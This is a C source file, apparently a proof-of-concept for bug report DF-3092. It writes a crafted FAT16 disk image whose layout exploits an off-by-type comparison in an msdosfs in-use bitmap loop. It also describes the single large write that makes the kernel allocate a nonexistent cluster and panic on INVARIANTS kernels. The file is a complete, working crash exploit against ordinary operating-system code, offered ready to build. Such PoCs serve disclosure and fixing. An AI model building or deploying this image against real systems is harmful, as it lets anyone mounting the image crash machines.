DF-3092 / crafttail.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 | /* * DF-3092 PoC image crafter: FAT16 volume engineered so that the last * free-cluster run of pm_inusemap crosses pm_maxcluster inside the last * bitmap word. fillinusemap()'s tail-marking loop * * for (cn = pm_maxcluster + 1; * cn < (pm_maxcluster + N_INUSEBITS) / N_INUSEBITS; cn++) * pm_inusemap[cn / N_INUSEBITS] |= 1U << (cn % N_INUSEBITS); * * compares a CLUSTER NUMBER against a WORD INDEX bound and therefore never * executes (here: cn starts at 4110, bound is (4109+32)/32 = 129). * The bits for clusters 4110..4127 of the last word stay CLEAR ("free"). * * chainlength(4104, 7) then takes the word-relative clamp * `if (start + len > pm_maxcluster)` (start already reduced mod 32 = 8), * which never fires (8+7 < 4109), and returns 7 -- claiming 7 free * clusters where only 6 (4104..4109) exist. chainalloc() runs * usemap_alloc(4104..4110) and usemap_alloc(4110) trips * KASSERT(cn <= pm_maxcluster) -> panic "cn too large 4110 4109" on * INVARIANTS kernels. * * Layout (all 512-byte sectors, SecPerClust=1, FAT16): * res=1, FATs=1, FATsecs=17 (capacity 4352 clusters), RootDirEnts=16 * -> firstcluster = 19; HugeSectors = 4127 * -> pm_maxcluster = (4127-19)/1 + 1 = 4109 (> 4084 => FAT16) * word 128 = clusters 4096..4127: * bits 0..7 = clusters 4096..4103 used by BIG.TXT * bits 8..13 = clusters 4104..4109 free (tail of FAT is zero) * bits 14..31 = clusters 4110..4127 DO NOT EXIST but are never * marked used (the bug) * * BIG.TXT: start cluster 2, chain 2->3->...->4103, EOF, size 2,100,224. * Trigger: append 3584 bytes (7 clusters) in ONE write(2): * extendfile() hint cn = 4103+1 = 4104, count = 7. * * build: cc -o crafttail crafttail.c */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #define SECSZ 512 #define FATSECS 17 #define FIRSTCLUST_BLK (1 + FATSECS + 1) /* 19 */ #define HUGE_SECS 4127 /* -> pm_maxcluster = 4109 */ #define LASTCHAIN 4103 /* BIG.TXT last cluster */ #define NSECT 4200 /* device covers the whole volume */ static uint8_t img[NSECT * SECSZ]; static void w16(uint8_t *p, uint16_t v) { p[0]=v&0xff; p[1]=v>>8; } static void w32(uint8_t *p, uint32_t v) { w16(p, v&0xffff); w16(p+2, v>>16); } int main(int argc, char **argv) { FILE *f; uint8_t *bs, *fat, *root; int i; if (argc != 2) { fprintf(stderr, "usage: %s out.img\n", argv[0]); return 1; } bs = img; bs[0]=0xEB; bs[1]=0x3C; bs[2]=0x90; memcpy(bs+3, "MSDOS5.0", 8); w16(bs+11, SECSZ); bs[13] = 1; /* SecPerClust */ w16(bs+14, 1); /* ResSectors */ bs[16] = 1; /* FATs */ w16(bs+17, 16); /* RootDirEnts */ w16(bs+19, 0); /* Sectors -> use Huge */ bs[21] = 0xF8; w16(bs+22, FATSECS); w16(bs+24, 63); w16(bs+26, 255); w16(bs+28, 0); w32(bs+32, HUGE_SECS); bs[510]=0x55; bs[511]=0xAA; fat = img + SECSZ; w16(fat + 0, 0xFFF8); w16(fat + 2, 0xFFFF); for (i = 2; i < LASTCHAIN; i++) /* chain 2 -> 3 -> ... -> 4103 */ w16(fat + i*2, i + 1); w16(fat + LASTCHAIN*2, 0xFFF8); /* EOF at cluster 4103 */ /* FAT entries 4104..4351 = 0 (free); only 4104..4109 are real */ root = img + FIRSTCLUST_BLK*SECSZ - SECSZ; /* sector 18 */ memset(root, 0, 32); memcpy(root, "BIG TXT", 11); root[11] = 0x20; w16(root + 26, 2); w32(root + 28, (LASTCHAIN - 1) * SECSZ); /* 4102 clusters */ f = fopen(argv[1], "wb"); if (!f) { perror("fopen"); return 1; } if (fwrite(img, 1, sizeof(img), f) != sizeof(img)) { perror("fwrite"); return 1; } fclose(f); printf("wrote %s: maxcluster=4109 (FAT16), BIG.TXT=4102 clusters (2..%d), " "6 real free (4104..4109), 18 phantom-free (4110..4127)\n", argv[1], LASTCHAIN); return 0; } |